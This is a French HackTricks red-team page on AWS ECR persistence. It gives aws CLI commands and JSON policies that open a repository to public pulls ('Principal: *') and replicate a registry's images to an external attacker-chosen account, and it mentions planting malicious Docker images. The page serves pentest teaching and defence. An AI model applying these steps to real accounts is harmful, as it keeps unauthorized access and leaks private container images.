AWS - ECR Persistence

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks:

ECR

Pour plus d'informations, consultez:

pageAWS - ECR Enum

Image Docker cachée avec du code malveillant

Un attaquant pourrait téléverser une image Docker contenant du code malveillant dans un référentiel ECR et l'utiliser pour maintenir la persistance dans le compte AWS cible. L'attaquant pourrait ensuite déployer l'image malveillante sur divers services du compte, tels que Amazon ECS ou EKS, de manière furtive.

Politique du référentiel

Ajoutez une politique à un seul référentiel vous accordant (ou à tout le monde) l'accès à un référentiel:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Notez que ECR exige que les utilisateurs aient l'autorisation d'appeler l'API ecr:GetAuthorizationToken via une stratégie IAM avant de pouvoir s'authentifier auprès d'un registre et pousser ou tirer des images de n'importe quel référentiel Amazon ECR.

Politique de Registre & Réplication entre Comptes

Il est possible de répliquer automatiquement un registre dans un compte externe en configurant la réplication entre comptes, où vous devez indiquer le compte externe vers lequel vous souhaitez répliquer le registre.

Tout d'abord, vous devez donner à l'autre compte l'accès au registre avec une politique de registre comme suit :

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Ensuite, appliquez la configuration de réplication :

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour